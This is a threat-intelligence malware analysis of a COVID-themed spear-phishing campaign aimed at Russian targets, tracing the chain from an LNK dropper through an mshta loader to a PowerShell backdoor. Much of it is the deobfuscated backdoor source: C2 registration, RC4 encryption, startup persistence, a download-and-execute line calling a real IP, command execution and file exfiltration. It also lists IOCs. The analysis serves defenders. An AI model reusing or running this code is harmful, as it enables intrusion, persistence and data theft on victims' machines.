CyberThreatIntel/Additional Analysis/Unknown/2020-04-27/Analysis.md
2020-04-27 23:07:48 +02:00

30 KiB
Raw Blame History

Unknown Threat Actor in Russia

Table of Contents

Malware analysis

The initial vector is an lnk file probably push on a spear-phishing in using the fact as shortcut, this show the icon of a word document to lure its victim. This use dos command for sets the variables and use mshta command for download and execute the next stager on a zip if the lnk isn't present or execute it directly. We can note that this uses the obfuscation techniques shown by Daniel Bohannon conferences and pushed on the invoke-obfuscation tool.
REM m = mshta
REM a = Рекомендации_МИР.docx.lnk
"C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=Р^екоменд^ации_МИР.do^cx.lnk && if exist !cd!\!a! (!m! !cd!\!a!) else (!m! !temp!\Temp1_Рекомендации.zip\!a!)
The second stager use another method for decode the data in memory by converting as SecureString with a key as obfuscation method. The method and the regex of the variable used, match with the emotet loader from the malware campaign in 2018-2019. Once the concept understands with a payload converted as SecureString with the key and replace the key and the payload on the structure, this can be easily reused by any attacker, this probably the case here.
([RUNtime.iNtErOPsErVICeS.MARsHaL]::([RuntIme.INteROpSeRviCES.MArShAl].gEtMEMBeRs()[2].NaME).InvokE([RUnTImE.InteRopSERVICEs.MarSHAL]::sEcUrEStRiNgTOGLobaLAlloCUnICoDE( $('76492d1116743f0423413b1 [...] IAMQA5AGYANwBiADAAMAAwAA=='| COnVertTO-secUReStriNg -key  105,89,16,42,117,124,77,191,238,159,97,28,11,240,17,77,146,79,194,114,84,201,175,239,28,47,34,187,155,172,91,31))) )| .((GV '*MDR*').nAme[3,11,2]-JOIN'')
For decrypt it, we use "SecureStringToBSTR" method for managed SecureString object to copy resident in memory to pointer with address reference, finally rest to use "PtrToStringAuto" for copies all characters from the address on the designed variable and get the value in memory.
$str='76492d1116743f0423413b1 [...] IAMQA5AGYANwBiADAAMAAwAA=='| COnVertTO-secUReStriNg -key  105,89,16,42,117,124,77,191,238,159,97,28,11,240,17,77,146,79,194,114,84,201,175,239,28,47,34,187,155,172,91,31
$res=[Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($str) )
set-content -value $res -path $path
By looking quickly at the obfuscation of the payload, one can notice the use of the same methods as the tool previously reported.
${lNKN`A`me}       = ("{2}{1}{0}{3}"-f 'Updater','ice','Off','.lnk')
${lN`KTA`RGeT}     = ('/v'+' '+'/c'+' '+'m'+'shta '+"`"!cd!\")+${l`NkName}+"`""
The first blocks of the code of the final layer are the global values for the scripts and the variables for the configuration of the payload. This content the C2, page to contact (for building URL for contact and persistence), the reference of the campaign of the attacker, filename of the lnk persistence, code for check the network disponibility, the encoding of the characters and keys for the module and registration on the panel C2. We can note that attacker use "Covid19Camp" as name code for theirs operations, this will be interesting for the victimology, the strategy and the movements done by the attackers.
SeT-varIaBle jHTXC  ([TYPE]("syStem.TeXT.encOdING")  )  ;
$826 =[tYpe]("sYsTEm.inTpTR")  ;
set-ITeM VaRIABLe:H6jT  (  [TYPe]("SyStEm.secURiTy.cryPTOGraPHY.hAshAlGoRIthM") ) ;
SEt T2aY (  [type]("SYStem.nET.WeBreQuest")) ;
SV  Z3eb9M  ([TYPe]("syStem.iO.memORysTrEam") )  ;
Set-VARIABlE  m5E (  [type]("O.FiLe")  ) ;
$jEs =  [TypE]("COnVert")  ;
SEt-variAbLe  t2ZMW  (  [TyPe]("ENVirONmEnT"))  ;
SET-varIaBle  5ZSh ([TYPe]("SCripTbLOCK")) ;
$6Pl =[TYPE]("sYSTem.StringspLItoPTioNS")  ;
  
${hostNAme}      = ${Env:comPUTeRNAme}
${uSERnAME}      = ${EnV:UserNAMe}
${caMpAIGNiD}    = "Covid19Camp"
${rEMoTEHoSt}    = "http://95.179.252.217"
${gETSTaBpaTH}   = "load.php"
${comMANDpath}   = "web/index.php?r=cmd"
${REgIsTrYPATh}  = "HKCU:\Software\Classes\"
${reGisTEredKeY} = "Registered"
${MOdUlEsKey}    = 'TM'
${hasHhOSTkey}   = 'THH'
${wAITiNGTRIG}   = "waiting"
${sLeePTimeseC}  = 30
${lNKNAme}       = "OfficeUpdater.lnk"
${lNKTARGeT}     = ('/v /c mshta '+""!cd!\")+${lNkName}+"""
${pOlyGLOtHTa}   = '<html><script type="text/javascript">function mGMxD(YybYw,IUleC){var HQhtk=[];for(var i=0;i<YybYw.length;i+=1){HQhtk.push(String.fromCharCode(YybYw[i]^IUleC.charCodeAt(i%IUleC.length)))}return HQhtk.join("")};eval(mGMxD("22aaY44aaY22aaY6aaY14aa [...] aaY73aaY108aaY67".split("aaY"), "aExb"))</script></html>'
${eNcODiNG} =   $jhTxC::"UtF8"
In removing the obfuscation of the code (Xor operations), we can see the code used for check the connectivity of victim to internet for triggers the download and execution of the backdoor, this is the code of the persistence module of the Powershell backdoor.
'<html>
<script type="text/javascript">
function decrypt(tab,key)
{
	var str=[];
	for(var i=0;i<tab.length;i+=1)
	{
		str.push(String.fromCharCode(tab[i]^key.charCodeAt(i%key.length)))
	}
	return str.join("")
};
eval(decrypt"22aaY44aaY22aaY6aaY14aa [...] aaY73aaY108aaY67".split("aaY"), "aExb"))
</script>
</html>'

window.resizeTo(0,0);
var toexecute = "-nop -c while(!(.(Test-Connection "google.com" -q)) {&("Start-Sleep") -s 5} .(iex)(.("New-Object") ("Net.WebClient").("DownloadString").InVokE((http://95.179.252.217/load.php))";
(new ActiveXObject("Shell.Application")).ShellExecute("powershell.exe", toexecute, "", "", 0);
window.close();
The next block is the functions for getting the system and user informations for the registration of the victim to the attacker's framework.
function gET-winVEr {return (&("Get-ItemProperty") (HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion)."pRoDUcTNamE"}
function GeT-BITNEss 
{
  if ( (VaRiAbLE  826 ).ValUe::"sIZE" -eq 4) {return 'x86'}
  return 'x64'
}
function gET-ISiNAD
{
  if ((&("Get-WmiObject") ("Win32_ComputerSystem"))."PARToFdOMAIn" -eq ${TrUe}) { return (&("Get-WmiObject") ("Win32_ComputerSystem"))."DoMAIN"} 
  return ${FAlSE}
}
function gEt-ISloCAlaDmin
{
  [string] ${mE} = &("whoami") ("/groups") ("/fo") ("csv") | &("convertfrom-csv") | &("where-object") { ${_}."SiD" -eq ("S-1-5-32-544") }  // Administrators
  if (${me}.("ToString").Invoke().("Contains").Invoke(BUILTIN\Administrator) {return ${TRUe}} 
  return ${FALSE}
}
function geT-CLieNTiD
{
  return ("AppX") + ( (gi  VARIablE:jEs ).VaLUE::"ToBAse64StriNg"(${encOdING}.("GetBytes").Invoke(${HOSTnaME} + ${USeRnAme} + ${cAMPaiGNID}))).("ToLower").Invoke()
}
function ChEck-REg(${CLIEnTId})
{
  ${PATh} = ${REgisTrYpATh} + ${clieNTId}
  return &("Get-ItemProperty") -Path ${PaTh} -Name ${REGiSTeRedKEY} -ErrorAction ("SilentlyContinue")
}
The following code is the algorithm for decrypt and encrypt in RC4, we can note that the structure and the code are the same that Empire payload, this can be a fork from an Empire framework.
function CoNvErT-RC4 
{
  param(
      [Byte[]]${DaTa},
      [Byte[]]${kEy}
    )
  [Byte[]]${BuFFer} = &("New-Object") ("Byte[]") ${DAta}."LeNgTH"
  ${dAtA}.("CopyTo").Invoke(${BUFFer}, 0)
  [Byte[]]${s} = &("New-Object") ("Byte[]") 256
    [Byte[]]${K} = &("New-Object") ("Byte[]") 256
    for (${i} = 0; ${I} -lt 256; ${I}++)
    {
        ${s}[${i}] = [Byte]${i}
        ${K}[${i}] = ${Key}[${i} % ${KeY}."LENgTh"]
    }
    ${J} = 0
    for (${I} = 0; ${I} -lt 256; ${i}++)
    {
        ${J} = (${J} + ${s}[${i}] + ${k}[${I}]) % 256
        ${TEMP} = ${S}[${I}]
        ${S}[${i}] = ${S}[${J}]
        ${s}[${j}] = ${tEMp}
    }
    ${I} = ${J} = 0
    for (${x} = 0; ${X} -lt ${bUFfER}."LENgTh"; ${X}++)
    {
        ${I} = (${i} + 1) % 256
        ${j} = (${J} + ${s}[${I}]) % 256
        ${TemP} = ${S}[${i}]
        ${s}[${I}] = ${s}[${J}]
        ${S}[${J}] = ${temp}
        [int]${T} = (${s}[${i}] + ${S}[${J}]) % 256
        ${bUFFEr}[${X}] = ${BUFfEr}[${X}] -bxor ${s}[${T}]
    }
  return ${BUFFer}
}
function gET-sTRINghAsh 
{
  param(${STRInG},${HashnaMe} = "MD5")
  ${StRINGbuilDeR} = &("New-Object") ("System.Text.StringBuilder")
   $h6jT::("Create").Invoke(${HaShName})."cOMpUtEhASH"(${ENcodING}.("GetBytes").Invoke(${STrINg}))|&('%'){[Void]${STRINGBuiLdEr}.("Append").Invoke(${_}.("ToString").Invoke("x2"))}
  return ${stRinGbuILDer}.("ToString").Invoke()
}
function ENCrYpt-DaTA
{
  param(${DAta}, ${KEY})
  [Byte[]]${BYTEENC} = ${EnCodiNg}.("GetBytes").Invoke(${DAta})
  [Byte[]]${ByTEKEY} = ${eNCoDInG}.("GetBytes").Invoke(${KeY})
  ${eNCrypTEdbYTeS} = &("Convert-Rc4") ${bYTeENC} ${ByTEkey}
  return ${ENCRYPtedByTEs}
}
function DecRyPT-DaTA
{
  param(${daTA}, ${kEY})
  [Byte[]]${bytekEy} = ${EnCODiNg}.("GetBytes").Invoke(${Key})
  ${dEcRyPTEDBYtES} = &("Convert-Rc4") ${DaTA} ${byTeKEY}
  return ${eNCODING}."GeTSTRiNG"(${decRypTEdbyteS})
}

The next three functions are for sending the data to the C2 with the built URL from the global variables.
function SenD-WEbRequeST
{
  param(${URI},${mEThOD},${Body})
  ${REQuEsT}                                    = (gi vARiaBLE:T2ay).ValUe::("Create").Invoke(${URi})
  ${reQUesT}."TiMEoUt"                          = 10000
  ${rEQUEST}."metHod"                           = ${MethOD}
  ${RequESt}."USEragENt"                        = "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0"
  ${ReqUest}."CoNtEnTTyPE"                      = "text/html"
  ${rEQuest}."seRvIcEPOInT"."eXpect100CONTiNue" = ${FAlse}
  ${reqUEst}."kEEPALIVe"                        = ${tRUe}
  ${reQueST}."aCCepT"                           = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
  ${rEQUest}."HEadERS"["Accept-Language"]       = "en-US,en;q=0.5"
  ${reQuESt}."HeAdeRs"["Cache-Control"]         = "max-age=0"
  if(${mETHod} -eq "POST")
  {
      ${bODY} = [byte[]][char[]]${boDy}
      ${upSTReAM} = ${ReqUeSt}.("Cache-Control").Invoke()
      ${uPsTREAm}.("Write").Invoke(${bodY}, 0, ${boDY}."LeNgTh")
      ${UPStREaM}.("Flush").Invoke()
      ${UpSTREAm}.("Close").Invoke()
  }
  ${REsPonse} = ${reqUEsT}.("GetResponse").Invoke()
  ${STREaMReadER} = [System.IO.StreamReader](${reSpONSe}.("GetResponseStream").Invoke())
  ${oUTsTREAm} =   (geT-VAriABle  z3eB9m  -vAlueon)::("new").Invoke()
  ${sTreAMREaDEr}."BAsesTrEAM".("CopyTo").Invoke(${OuTSTrEaM})
  ${REs} = ${OUtstREaM}.("ToArray").Invoke()
  ${StrEamreaDER}.("Close").Invoke()
  ${rEspoNSE}.("Close").Invoke()
  return ${reS}
}
function SENd-TOhoST 
{
  param(${DaTa})
  try
  {
    ${uRI} = ${ReMOTEhoST} + "/" + ${COmManDPAtH}
    ${resUlt} = &("Send-WebRequest") -uri ${URI} -method ("POST") -body ${DATA}
  } catch { return ''}
  return ${reSUlt}
}
function prEpARE-ReqUEst
{
  param(${DAtA}, ${INTERnAlUsEriD}, ${InterNALUsErkEy})
    ${ENcRyPTed} = &("Encrypt-Data") ${daTa} ${INTERnaluSERkeY}
    ${APpENDIX} = ${iNTERNAlUSERiD} + ';'
    ${APpENdiXBYtEs} = ${eNCodING}.("GetBytes").Invoke(${APpeNDIX})
    ${ENCrYPTed} = ${ApPeNDixbYTES} + ${eNCRYPtEd} 
    return ${eNcRyPTEd}
}
The next function are used fro register the new victim to C2 and set or remove the persistence on the system.
function ReGIstEr-TiNy
{
  ${isAdMin} = &("Get-IsLocalAdmin")
  ${ISINAD}  = &("Get-IsInAd")
  ${BITneSs} = &("Get-Bitness")
  ${WINVer}  = &("Get-WinVer")
  ${rEGSTr} = "username:"+${usERNAme}+';'+"hostname:"+ ${HOsTNAme}+';'+"localprivs:"+${isAdMIN}+';'+"partofad:"+${ISInad}+';'+"bitness:"+${biTnesS}+';'+"winver:"+${WInVer}+';'
  ${ENcRyPtEd} = &("Encrypt-Data") ${rEGSTR} ${caMpAIGnid}
  ${reSPonSE}  = &("Send-ToHost") ${ENCRyPTEd}
  ${IdANDkEY}  = &("Decrypt-Data") ${reSpONsE} ${CAMPaiGNid}
  if(${idAnDkEY}.("contains").Invoke(";")) { return ${IdAndKEy}}
  else { Exit(0) }
}
function CHeck-REMOteHOst
{
    ${clIEntiD} = &("Get-ClientID")
    ${pATh} = ${REGistRYpAtH} + ${CLientID}
    ${saVEDHAsH} = &("Get-ItemProperty") -Path ${PaTH} -Name ${hAShHOsTkeY} -ErrorAction ("SilentlyContinue")
    ${CURRenTHasH} = &("Get-StringHash") ${rEmOTEHoSt}
    if(!${SAveDHasH} -or ${sAVedHash}."THH" -ne ${cURREnThash}) {
        &("New-ItemProperty") -Path ${PATH} -Name ${haSHHoSTkEy} -Value ${cURrENtHAsH} -PropertyType ("String") -Force | &("Out-Null")
        &("Drop-Lnk")
    }
}
function DrOp-LNK
{
  ${LNkPaTH} =   (Ls  ('VArIABLE:t2zmw')).VAlUe::("GetFolderPath").Invoke(("Startup")) + '\' + ${LNKNAMe}
  if(&("Test-Path") ${LnKpaTh}) { &("Remove-Item") -Path ${lNKPATH} -Force }
  ${wSH} = &("New-Object") -comObject ("WScript.Shell")
  ${lNk} = ${WSh}.("CreateShortcut").Invoke(${LnKpAth})
  ${LNK}."TARgetPaTh" =  $T2zMW::("GetFolderPath").Invoke(("System")) + "\cmd.exe "
  ${LNK}."ARGuMenTs" = ${LnKTaRgET}
  ${LNK}."wORKiNgDirecToRY" =  (geT-VariABlE  T2zMW -valU  )::("GetFolderPath").Invoke(("Startup"))
  ${lNK}."wiNDOWsTyLe" = 7
  ${lNk}.("Save").Invoke()
  ${boDY} =  (GEt-VaRiabLE  M5E -vAlU)::("ReadAllBytes").Invoke(${LNkpaTH})
  ${BODY} = ${BODY} + ${ENCODiNg}.("GetBytes").Invoke(${POlygLoThta})
    ( VariaBlE  ('M5E')  ).vALUE::("WriteAllBytes").Invoke(${lNkPaTH}, ${bOdY})
}
function get-peRsISTAnCE
{
 param(${INteRNaluSeRiD}, ${INTERnALUseRkEy}, ${ClIENTiD})
  ${PaTH} = ${registRYpAth} + ${clieNTid}
  ${tOSaVE} = ${iNtErNalUserID} + ';' + ${InTeRNALUsERkey}
  if(!(&("Test-Path") ${paTH})) {
    &("New-Item") -Path ${paTh} -Force | &("Out-Null")
  }
  ${CURRenthAsH} = &("") ${rEMOTEHost}
  &("New-ItemProperty") -Path ${pAth} -Name ${rEGIsteREdkeY} -Value ${toSAVe} -PropertyType ("String") -Force | &("Out-Null")
  &("New-ItemProperty") -Path ${PATh} -Name ${HashHosTkEY} -Value ${cuRrENTHAsh} -PropertyType ("String")) -Force |  &("Out-Null")
  &("Drop-Lnk")
}
function DEleTe-TINY
{
  ${AutOlOadlNK} =   ( GCI  VArIAbLe:t2zmW).VaLuE::("GetFolderPath").Invoke(("Startup")) + '\' + ${lnkNaMe}
  &("Remove-Item") -Path ${auTOLoAdLNK} -Force
  ${cliEntID} = &("Get-ClientID")
  ${ReG} = ${rEGIstRYpAth} + ${clIEntID}
  &("Remove-Item") ${Reg} -Recurse
  Exit(0)
}
The penultimate function block contains the rest of the backdoor functionalities.
function reAd-FilE
{
  param(${PAth})
  ${bAsE64sTRing} =  ( geT-variaBLe JEs ).vAlUE::"TobAsE64sTrinG"(  $M5E::("ReadAllBytes").Invoke(${PATH}))
  ${fiLenAMe} = &("Split-Path") ${pATh} -leaf
  ${DAta} = ("download:")+ ${FiLEName} + ';' + ${Base64StRiNg}
  return ${daTA}
}
function GENErAte-lOg
{
 param(${dAtA})
 ${BAse64StRING} =   (gET-vArIABlE ("JeS") ).ValUe::"tObAsE64striNG"(${ENcOdINg}.("GetBytes").Invoke(${DATA}))
 ${NAmE} = -join ((48..57) + (97..122) | &("Get-Random") -Count 32 | &('%') {[char]${_}})
 ${dATA} = ("download:")+ ${NAMe} + (".log") + ';' + ${bAse64StRinG}
 return ${daTA}
}

function ExecuTe-stANDARtCOmMAND 
{
  param(${dECryptED}, ${iNteRNAlUsErId}, ${INTERnaLUserKeY})
    ${dECRYPTed} = ${dEcryPTEd}.("substring").Invoke(5)
    try{
        ${rES} = (&("Invoke-Expression") ${DECrypted}) | &("Out-String")
        if(${res}."LeNgtH") 
        {
            ${lOg} = &("Generate-Log") ${rEs}
            ${LOG_uPlOad} = &("Prepare-Request") ${LOg} ${INTeRNALUseRiD} ${INTERNalUSerKEy}
            &("Send-ToHost") ${LOG_uPLOAD}
        }
    } catch {}
}
function doWNlOAd-FILE 
{
  param(${decRypteD}, ${iNTERnaLUSErId}, ${InTerNalUSErKey})
    ${DEcRypTeD} = ${decRypTeD}.("substring").Invoke(9)
    try
    {
        ${fiLe} = &("Read-File") ${DecRyPTED}
        ${FILe_UplOAD} = &("Prepare-Request") ${File} ${IntERnaLUsErid} ${iNterNALuseRkey}
        &("Send-ToHost") ${FiLE_upLoAd}
		${Log} = &("Generate-Log") "file_uploaded"
        ${lOg_upLOAD} = &("Prepare-Request") ${LOg} ${iNTeRnAlUsERID} ${INterNALuSERkeY}
        &("Send-ToHost") ${log_uplOad}
    } catch {}
}
function chaNGe-timeOUt
{
  param(${DeCRYPTeD}, ${INtERNALusEriD}, ${INTeRnAlUSeRkEY})
    ${DECRypTED} = ${DecRYPTEd}.("substring").Invoke(14)
    ${rES} = ${sleEptIMeseC}
    if(${deCrYpTeD} -match "^[\d\.]+$") 
    {
	    ${loG} = &("{3}{2}{0}{1}"-f'a','te-Log','ener','G') "wait_time_changed"
        ${rEs} = ${deCrYpTEd}
    } 
    else { ${Log} = &("Generate-Log") "incorrect_value" }
    ${lOg_UploAD} = &("Prepare-Request") ${log} ${INTeRnAluSerid} ${INtERnalUSerKEy}
    &("Send-ToHost") ${log_uPlOAD}
    return ${RES}
}
function uPDaTE-Tiny
{
  param(${INTerNALuserid}, ${intERNaLusERkeY})
    try
    {
        ${tArGET} =  $T2zmW::("GetFolderPath").Invoke(("Startup")) + '\' + ${lNKnAMe}
        &("Invoke-Expression") ("cmd /c mshta" + """ + ${TARGeT} + """)
        ${LoG} = &("Generate-Log") ("implant_updated")
        ${log_UploAD} = &("Prepare-Request") ${LOG} ${INternALusERID} ${inTErnAlUseRkeY}
        &("Send-ToHost") ${lOg_UplOad}
        Exit(0)
    } catch {}
}
function geT-modUle {
  param(${mOdUleiD}, ${iNTeRnALuSErID}, ${INTErNALuSERkey})
    if(${mODUlEID}."lEnGTh" -lt 1) { return ''}
    ${DAtA} = ("get_module:") + ${ModulEId}
    ${reQUest} = &("Prepare-Request") ${dATA} ${inTeRnAlusErId} ${iNTErnalusErKEY}
    ${ResPonsE} = &("Send-ToHost") ${ReqUeST}
    if(${REsPONsE}."leNGTh" -lt 1) { return '' }
    ${mODULeBoDy} = &("Decrypt-Data") ${rESpONse} ${inTeRNALUsERkeY}
    return ${MOdUleBODy}
}
function rUN-moDule 
{
  param(${moDULeId}, ${INTeRNalUSeRiD}, ${iNTERNAluSeRKEY}, ${vOIDLog})
    ${OPERationLOG} = ''
    ${res} = ${faLsE}
    try { ${mOdULeboDY} = &("Get-Module") ${MODulEid} ${iNteRNAlusErId} ${InTERnAlUSeRKey} } 
    catch {}
    if(${MOduleBody}."leNgTh" -gt 0) 
    {
        try 
        {
            ${ScRiPTBlOck} =   $5ZsH::("Create").Invoke(${mODuLEboDY})
            ${OPERaTiONLOG} = &("Start-Job") -ScriptBlock ${sCriptBloCK} | &("Out-String")
            ${rEs} = ${tRue}
        } 
        catch { ${opERaTioNlOG} = "can't_create_job"}
    } 
    else{ ${oPeRaTioNLOG} = ("incorrect_module_id") }
    if(${oPeRaTioNLog}."lenGTH" -gt 0 -and !${VoIdloG}) {
        ${LoG} = &("Generate-Log") ${oPeRATioNLOG}
        ${lOG_uPloAD} = &("Prepare-Request") ${Log} ${InTERnALuSerid} ${IntErNALUsERkEY}
        &("Send-ToHost") ${LoG_uPLOAD}
    }
    return ${REs}
}
function adD-PErsistModUlE {
    param(${RAwmoDuleiD}, ${INTeRNALUSErId}, ${iNTerNALUseRKEy})
        ${rEs} = ''
        ${MoDulEID} = "{" + ${rawmodUlEID} + "}"
        ${cLIeNTID} = &("Get-ClientID")
        ${pATh} = ${rEgistryPaTh} + ${clIeNtId}
        ${aLreAdyAcTIVe} = &("Get-ItemProperty") -Path ${PATH} -Name ${MOdULEsKEY} -ErrorAction ("SilentlyContinue")
        if(${aLrEADYacTIVe}) 
        {
            if(${AlrEaDyacTIVe}."tM".("Contains").Invoke(${mOdUleId})) { ${reS} = ("module_with_this_id_is_active_already") } 
            else 
            {
              ${tOsaVe} = ${alrEAdyaCtIVE}."TM" + ${mODUleiD}
              if(&("Run-Module") ${rAwModUleId} ${INtERNAlUSeRId} ${iNtErNAlUsERKeY})
              {&("New-ItemProperty") -Path ${PATh} -Name ${ModULesKey} -Value ${tosAVe}  -PropertyType ("String") -Force | &("Out-Null")}
            }
        }
        else 
        {
            if(&("Run-Module") ${raWMODuLEID} ${INterNAlUsErID} ${iNTerNALuSeRkey}) 
            { &("New-ItemProperty") -Path ${pATh} -Name ${mODUlesKey} -Value ${MODULEID} -PropertyType ("String") -Force | &("Out-Null")}
        }
        if(${res}."lengtH" -gt 0) 
        {
            ${lOG} = &("Generate-Log") ${REs}
            ${lOg_UPlOAD} = &("Prepare-Request") ${loG} ${INTeRNaLuSERId} ${INTerNAlUserkey}
            &("Send-ToHost") ${lOG_UplOAd}
        }
}
function ReMOVe-PerSiSTmodULe 
{
    param(${raWmoDULEId}, ${iNTerNalUserId}, ${iNTERNAlUserkeY})
        ${rEs} = ''
        ${ModULEiD} = "{" + ${RAWmoDuLeID} + "}"
        ${cLIENtId} = &("Get-ClientID")
        ${PaTH} = ${rEgIstRypaTh} + ${clieNTid}
        ${alReAdyAcTIVe} = &("Get-ItemProperty") -Path ${PATh} -Name ${moDULESKey} -ErrorAction ("SilentlyContinue")
        if(${ALREaDYActive}) 
        {
           if(${AlreaDYACtiVe}."Tm".("contains").Invoke(${MODulEiD})) 
           {
                ${TOsavE} = ${ALREADyACTiVE}."tM".("replace").Invoke(${moDULeid}, "")
                &("New-ItemProperty") -Path ${PATH} -Name ${MoDuLesKey} -Value ${TOsAVe}  -PropertyType ("String") -Force | &("Out-Null")
                ${rEs} = "module_removed"
           }
           else {  ${rEs} = "can't_find_this_module" }
        }
        else { ${RES} = "nothing_to_remove" }
        if(${ReS}."lENGTh" -gt 0) 
        {
            ${log} = &("Generate-Log") ${REs}
            ${Log_UplOAd} = &("Prepare-Request") ${LOg} ${iNTeRnALUseRid} ${InterNaLusERkEy}
            &("Send-ToHost") ${lOg_UpLOAD}
        }
}
function LOaD-ALlPeRSIsTMODulES
{
    param(${iNTErNaLUsERId}, ${iNTErNalUSERkeY})
    try{
        ${CliENtId} = &("Get-ClientID")
        ${PATh} = ${REgisTRYpATh} + ${clienTid}
        ${alreAdyaCTIVE} = &("Get-ItemProperty") -Path ${pATH} -Name ${MODuleskey} -ErrorAction ("SilentlyContinue")
        if(!${alrEADYACTiVe}) {return}
        if(${AlREADYaCtIVe}."tm"."lENgTh" -lt 1) {return}
        ${IDSaRrAy} = ${ALreadYacTiVE}."tm"."SplIT"('{',(gET-VARiAbLe ("6pl")).valUe::"REMOVEemPTyeNTrIes")
        foreach (${id} in ${idSARRAY}) {
            ${iD} = ${Id}.("replace").Invoke('}', '')
            ${Res} = &("Run-Module") ${Id} ${InTERNaLusERId} ${inTeRnAluseRkeY} ${trUe}
        }
    } catch {}
}
The last block of code is the loop for acquiring the orders of the attacker and the loading of the registration of the new victim. We can see that the parsing algorithm is more near a programmer used to coding in python (absence of switch capacity), this use multiple time elseif for the parsing command system.
function STaRT-mAinLoop
{
  param(${iNTeRnAlUseRiD}, ${INTeRNaLuSErKeY})
  while (${TRue}) {
    &("Start-Sleep") -s ${SLEEPtiMESec}
    try
    {
      ${rEQUESt} = &("Prepare-Request") ${WaItiNGTRIg} ${intERNALUseRid} ${inTErnAlUseRkey}
      ${comMaND} = &("Send-ToHost") ${rEquEsT}
      if(${ENcODING}."GEtsTRiNg"(${COMmAND}) -eq ("delete")) {&("Delete-Tiny")}
      ${decRYPtED} = &("Decrypt-Data") ${CoMmAND} ${iNteRnAlUSeRkEy}
      if(${decrypTEd}.("contains").Invoke("exec:")) {&("Execute-StandartCommand") ${DECRyPted} ${InTERnaLUSerID} ${InTERNALuserkEY}} 
      elseif(${DecRYpteD}.("contains").Invoke("download:")) {&("Download-File") ${deCryPTED} ${iNteRNALUsERId} ${iNTerNaLUserkeY}}
      elseif(${deCRypTEd}.("contains").Invoke("set_wait_time:")) {${SLEEpTImESEC} = &("Change-Timeout") ${dEcryPtEd} ${InTErNALuSErId} ${InTERnaLuSERkEY}}
      elseif(${DeCrypTEd} -eq ("update_tiny")) {&("Update-Tiny") ${INTeRnAlUSerID} ${iNTeRNAlUserKey}}
      elseif(${dECRyptEd}.("contains").Invoke(("run_module:"))) {&("Run-Module") ${dECryPteD}.("substring").Invoke(11) ${InteRnALUSEriD} ${iNtERnAlUsERKeY}}
      elseif(${dECRYPTEd}.("contains").Invoke("add_persist_module:")) {&("Add-PersistModule") ${DeCryPTED}.("substring").Invoke(19) ${INTERNalUseRid} ${INTeRnALuserkeY}}
      elseif(${DECrYptED}.("contains").Invoke("remove_persist_module:")) { &("Remove-PersistModule") ${DeCRyPTed}.("substring").Invoke(22) ${iNternALUsERiD} ${InTeRnalusERkEY}}
    } catch {}
  }
}
function sTArT-tInY
{
  ${INTerNaLuSeRID} = 0
  ${iNTerNaLusERKeY} = ''
  ${ClieNtiD} = &("Get-ClientID")
  ${IsREg} = &("Check-Reg") ${ClientID}
  if(!${ISReG}) 
  {
    ${iDaNdkey} = &("Register-Tiny")
    ${iNTeRNaLUserID}, ${iNteRnaLUSERKEY} = ${IDaNDkEY}.("Split").Invoke(';')
    &("Get-Persistance") ${intERNAlUSERid} ${iNTErNAluSErKEY} ${cLieNTiD}
  } 
  else 
  {
    ${interNalUSERid}, ${InTErnALusErkEY} = ${iSReg}."REgisTEreD".("Split").Invoke(';')
    &("Check-RemoteHost")
    &("Load-AllPersistModules") ${inTERNALUsERId} ${InTERNAlUsERKEY}
  }
  &("Start-MainLoop") ${InTernaLUSErid} ${iNTERNALusERKey}
}

&("Start-Tiny")
Using the last sentence, we can compare the code used with a correct and code optimized, we can use an equivalent of a referential like "this" ($ _) for using the variable and parse it, this allows to confirm the low level in the skill coding, that explain why code shares and that the backdoor is a fork of the Empire framework.
if(${decrypTEd}.("contains").Invoke("exec:")) {&("Execute-StandartCommand") ${DECRyPted} ${InTERnaLUSerID} ${InTERNALuserkEY}} 
elseif(${DecRYpteD}.("contains").Invoke("download:")) {&("Download-File") ${deCryPTED} ${iNteRNALUsERId} ${iNTerNaLUserkeY}}
elseif(${DeCrypTEd} -eq ("update_tiny")) {&("Update-Tiny") ${INTeRnAlUSerID} ${iNTeRNAlUserKey}}

switch (${decrypTEd})) 
    {
        {$_.contains("exec:")} {&("Execute-StandartCommand") ${DECRyPted} ${InTERnaLUSerID} ${InTERNALuserkEY}}
        {$_.contains("download:")} {&("Download-File") ${deCryPTED} ${iNteRNALUsERId} ${iNTerNaLUserkeY}}
        {$_ -eq ("update_tiny")} {&("Update-Tiny") ${INTeRnAlUSerID} ${iNTeRNAlUserKey}}
    }
We can resume all the commands and functionalities planned on the backdoor (eq and contains strings to match) :
Command Description
delete Remove persistence and kill the session of Tiny backdoor.
exec: Execute command on the system of the victim.
download: Download a file on the system of the victim.
set_wait_time: Push on a sleep mod for X seconds.
update_tiny Update the implant by a new persistence (update done by reboot of session or computer)
run_module: Run an additionnal module.
add_persist_module: Add persistence for the additionnal module on the system
remove_persist_module: Remove the persistence for the additionnal module on the system

Victimology

With so few samples and without the spear-phishing, this hard to totally confirm the eventual victims but by the lures show on the victims, the threat actor (TA) focus on financial and healthcare services in Russia ( Cf translated documents.). With the reference on the campaign on the malware, this probable that the TA focus others sectors before the COVID19 event. The informations and arguments on the lures are linked to world events and no specially on Russia (Zoom vulnerability), with this that hard to say if this focus on Russia or others countries.
By hunting, two following IP, have been found, the maldoc on the financial services use cloudflare as cdn for sharing and command the operation, in adding SSL support make harder the detection of the intrusion. The latest sample, host on IP and the domain checking on google for the test of the connectivity, both use Apache/2.4.25 on Debian as web server.
IP Route ASN Organization Country City Coordinates
136.244.67.59 136.244.64.0/20 AS20473 Choopa, LLC Vultr Holdings, LLC (vultr.com) United Kingdom London 51.5085,-0.1257
95.179.252.217 95.179.240.0/20 AS20473 Choopa, LLC Hanauer Landstraße 302 (vultr.com) Germany Offenbach 50.1069,8.7344

Cyber kill chain

This process graph represent the cyber kill chain used by the attacker.

Indicators Of Compromise (IOC)

The IOC can be exported in JSON and CSV

References MITRE ATT&CK Matrix

Enterprise tactics Technics used Ref URL
Execution Scripting
PowerShell
Mshta
https://attack.mitre.org/techniques/T1064
https://attack.mitre.org/techniques/T1086
https://attack.mitre.org/techniques/T1170
Defense Evasion Scripting
Mshta
https://attack.mitre.org/techniques/T1064
https://attack.mitre.org/techniques/T1170
Discovery Query Registry
System Owner/User Discovery
https://attack.mitre.org/techniques/T1012
